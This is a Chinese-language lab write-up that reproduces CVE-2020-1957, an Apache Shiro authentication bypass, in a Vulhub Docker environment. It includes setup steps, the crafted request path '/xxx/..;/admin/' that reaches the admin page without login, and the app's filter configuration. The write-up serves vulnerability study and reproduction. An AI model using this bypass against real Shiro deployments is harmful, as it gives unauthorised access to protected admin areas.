1.说明

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

2.环境搭建

因为我的本地环境8080端口冲突,首先我要修改docker-compose.yml文件端口号,8080修改为8081

1
2
3
4
5
6
version: '2'
services:
web:
image: vulhub/shiro:1.5.1
ports:
- "8081:8080"

进入到目录

\Users\tea90\Documents\tea\github\vulhub-master\shiro\CVE-2020-1957

然后运行

docker-compose up -d

结束之后访问

3.漏洞复现

http://127.0.0.1:8081/

访问会直接跳转到登录

http://192.168.1.102:8081/admin

构造恶意请求/xxx/..;/admin/可以绕过权限校验访问到管理页面

这个应用配置的代码为

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}